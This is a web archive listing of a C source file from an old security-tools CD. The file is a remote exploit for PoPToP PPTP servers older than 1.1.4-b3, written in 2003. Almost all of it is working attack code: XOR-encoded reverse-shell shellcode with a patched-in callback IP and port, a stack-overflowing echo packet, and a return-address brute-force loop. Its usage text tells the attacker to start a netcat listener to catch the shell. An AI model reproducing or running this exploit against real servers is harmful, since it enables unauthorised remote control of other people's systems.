home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / pptpd / pptpd-exploit-linux.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  271 lines

  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <stdio.h>
  4. #include <netinet/in.h>
  5. #include <errno.h>
  6.  
  7. /* Ported to Linux by John Leach <john@johnleach.nospam.co.uk> */
  8.  
  9. typedef int SOCKET;
  10. typedef unsigned short WORD;
  11. typedef unsigned int DWORD;
  12.  
  13.  
  14. char shellcode[] =
  15.  
  16. "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b"
  17. "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a"
  18. "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d"
  19.  
  20. "\x01\x01" // port
  21.  
  22. "\x54\xd6\x63"
  23.  
  24. "\x01\x01\x01\x01" // ip address
  25.  
  26. "\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67"
  27. "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e"
  28. "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b"
  29. "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60"
  30. "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa"
  31. "\xfd\xbc\xe0\xfb";
  32.  
  33.  
  34.  
  35.  
  36. struct pptp_header {
  37.         u_int16_t length;               /* pptp message length incl header */
  38.         u_int16_t pptp_type;            /* pptp message type */
  39.         u_int32_t magic;                /* magic cookie */
  40.         u_int16_t ctrl_type;            /* control message type */
  41.         u_int16_t reserved0;            /* reserved */
  42. };
  43.  
  44. #define MAX_HOSTNAME_SIZE               64
  45. #define MAX_VENDOR_SIZE                 64
  46. #define PPTP_VERSION                    0x0100
  47.  
  48. struct pptp_start_ctrl_conn_rqst {
  49.         struct pptp_header header;      /* pptp header */
  50.         u_int16_t version;              /* pptp protocol version */
  51.         u_int16_t reserved1;            /* reserved */
  52.         u_int32_t framing_cap;          /* framing capabilities */
  53.         u_int32_t bearer_cap;           /* bearer capabilities */
  54.         u_int16_t max_channels;         /* maximum channels */
  55.         u_int16_t firmware_rev;         /* firmware revision */
  56.         u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
  57.         u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */
  58. };
  59.  
  60. struct pptp_echo_rqst {
  61.         struct pptp_header header;      /* header */
  62.         u_int32_t identifier;           /* value to match rply with rqst */
  63.                                 char buf[10000];
  64. };
  65.  
  66. struct pptp_reply {
  67.     struct pptp_header header;      /* header */
  68.     char buf[10000];
  69. };
  70.  
  71.  
  72. /* Magic Cookie */
  73. #define PPTP_MAGIC_COOKIE               0x1a2b3c4d
  74.  
  75. /* Message types */
  76. #define PPTP_CTRL_MESSAGE               1
  77.  
  78. /* Control Connection Management */
  79. #define START_CTRL_CONN_RQST            1
  80. #define START_CTRL_CONN_RPLY            2
  81. #define STOP_CTRL_CONN_RQST             3
  82. #define STOP_CTRL_CONN_RPLY             4
  83. #define ECHO_RQST                       5
  84. #define ECHO_RPLY                       6
  85.  
  86. // brute force values
  87. #define TOPOFSTACK 0xbfffffff
  88. #define BOTTOMOFSTACK 0xbf000000
  89. #define STEP 50
  90.  
  91. void send_init_request(SOCKET st)
  92. {
  93.         struct pptp_start_ctrl_conn_rqst request;
  94.       request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  95.       request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  96.         request.header.ctrl_type = htons(START_CTRL_CONN_RQST);
  97.  
  98.       request.version = PPTP_VERSION;
  99.         request.framing_cap = 0;
  100.         request.bearer_cap = 0;
  101.         request.max_channels = 1;
  102.         request.firmware_rev = 0;
  103.       strcpy(request.hostname,"hell");
  104.         strcpy(request.vendor,"domain HELL");
  105.       request.header.length = ntohs(sizeof(request));
  106.  
  107.         send(st,(char*)&request,sizeof(request),0);
  108.  
  109. }
  110.  
  111. void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
  112.     int i;
  113.       struct pptp_echo_rqst ping;
  114.         ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  115.       ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  116.         ping.header.ctrl_type = htons(ECHO_RQST);
  117.         ping.identifier = 111;
  118.  
  119.         ping.header.length = ntohs(1);
  120.         
  121.   
  122.         strcpy(ping.buf,"");
  123.         
  124.         int buflen = 500;
  125.         for (i=0;i<buflen;i++) strcat(ping.buf,"\x90");      
  126.         memcpy(ping.buf+364,(char*)&ret,4); 
  127.  
  128.         // patch shellcode
  129.         // we have a shellcode xored by 0x93.. let's unxor it :)
  130.         for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;
  131.  
  132.         *(unsigned short int*)(shellcode+43) = htons(port);
  133.         
  134.       *(unsigned long int*)(shellcode+48) = inet_addr(hostname);
  135.  
  136.         // we leave 100 bytes for NOPs
  137.         memcpy(ping.buf+100,shellcode,sizeof(shellcode));
  138.                 
  139.         send(st,(char*)&ping,sizeof(ping.header)+buflen,0);
  140.  
  141. }
  142.  
  143. SOCKET st;
  144.  
  145. int connect_server(char* hostname)
  146. {
  147.         st=socket(PF_INET,SOCK_STREAM,0);
  148.         if (st==-1) return 0;
  149.  
  150.         struct sockaddr_in addr;
  151.  
  152.         addr.sin_family=AF_INET;
  153.         addr.sin_port=0;
  154.         addr.sin_addr.s_addr=0;
  155.         bind(st, (struct sockaddr*)&addr,sizeof(addr));
  156.   
  157.         
  158.         addr.sin_family=AF_INET;
  159.         addr.sin_port=htons(1723);
  160.         addr.sin_addr.s_addr=inet_addr(hostname);
  161.         printf("connecting... ");
  162.         if (connect(st,(struct sockaddr*)&addr,sizeof(addr)) != 0)
  163.         {
  164.         perror("connect()");
  165.                 return 0;
  166.         }
  167.         return 1;
  168. }
  169.  
  170. int main(int argc, char** argv)
  171. {
  172.         printf("\n");
  173.         printf("                   D  H     H                            \n");
  174.         printf("                   D  H     H     T\n");
  175.         printf("                   D  H  H  H     T     EE    AA   M   M \n");
  176.         printf("               DDD D  HHHHHHH     T    E  E  A  A  MM MM \n");
  177.         printf("              D   DD  H  H  H    TTTT  E  E  A  A  MM MM \n");
  178.         printf("             D     D  H     H     T    EEE   AAAA  M M M \n");
  179.         printf("              D    D  H     H     T    E     A  A  M   M \n");
  180.         printf("               DDDD   H     H      TTT  EEE  A  A  M   M   ");
  181.         printf(" ... presents ... \n\n");
  182.       printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
  183.         printf("by .einstein., April 2003.\n");
  184.         printf("\n");
  185.   if (argc < 2)
  186.   {
  187.         printf("usage: \n");
  188.         printf("  %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]);
  189.         printf("    <pptp_server> is the ip address or hostname of the PoPToP server\n");
  190.         printf("      you want to attack.  Port 1723 is used for connection\n");
  191.         printf("    <your_ip> and <your_port> - specify an ip address to which\n");
  192.         printf("      a connection is possible to port <your_port> and set up a\n");
  193.         printf("      netcat listener. You'll get a reverse shell.\n");
  194.         printf("    <timeout> is a delay between stack bruteforce attemts, in milliseconds\n");
  195.         printf("   If you only pass a single parameter, the program will check\n");
  196.         printf("   whether remote server is vulnerable or not. Otherwise it will\n");
  197.         printf("   perform a ret bruteforce.\n");
  198.         printf("usage examples:\n");
  199.         printf("  %s 192.168.1.2 192.168.1.1 5555\n",argv[0]);
  200.         printf("    attack 192.168.1.2 and get a reverse shell on port 5555\n");
  201.         printf("  %s 127.0.0.1 127.0.0.1 6666 100\n",argv[0]);
  202.         printf("    attack a locally running pptpd with a timeout of 100 ms\n");
  203.         printf("    and get a shell on port 6666.\n");
  204.         printf("  %s 192.168.1.56\n",argv[0]);
  205.         printf("    check if the PoPToP server on 192.168.1.56 is vulnerable.\n");
  206.     return 0;
  207.   }
  208.  
  209.  
  210.   int timeout = 500;
  211.   if (argc >= 5) timeout = atoi(argv[4]);
  212.  
  213.         DWORD ret;
  214.         if (argc == 2)
  215.         {
  216.                 if (!connect_server(argv[1])) return 1;
  217.  
  218.                 printf("\nChecking if the server is vulnerable..\n");
  219.                 printf("(if it is you have to wait 65 seconds)..\n");
  220.                 send_init_request(st);
  221.  
  222.                 ret = 0x01010101;
  223.                 int bytes;
  224.                 struct pptp_reply reply;
  225.                         
  226.                 //header length
  227.                 bytes = recv(st,(char*)&reply,2,0);
  228.                 bytes = ntohs(reply.header.length);
  229.                 bytes = recv(st,(char*)&reply+2,bytes-2,0);
  230.                 int j = htons(reply.header.ctrl_type);
  231.                 send_ping_overflow(st,ret,"0.0.0.0",0);
  232.                         
  233.                 //header length
  234.                 bytes = recv(st,(char*)&reply,2,0);
  235.                 printf("PoPToP server is ");
  236.                 if (bytes != -1) printf("vulnerable!\n");
  237.                 else printf("not vulnerable\n");
  238.                 close(st);
  239.  
  240.                 return 1;
  241.         }
  242.  
  243.         printf("[!] Attempting bruteforce against %s\n",argv[1]);
  244.         printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
  245.         
  246.         int checked = 0;
  247.         
  248.         for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP)
  249.         {
  250.               printf("[*] ");
  251.                 if (!connect_server(argv[1])) return 1;
  252.             printf("[ret=0x%x]..",ret);
  253.             printf("sending payload..");
  254.         
  255.                 // initial packet
  256.                 send_init_request(st);
  257.  
  258.                 //a real overflowing ping packet
  259.               send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  260.                 close(st);
  261.  
  262.                 sleep(timeout);
  263.                 printf("done\n");
  264.         }
  265.         
  266.         return 0;
  267. }
  268.  
  269.  
  270.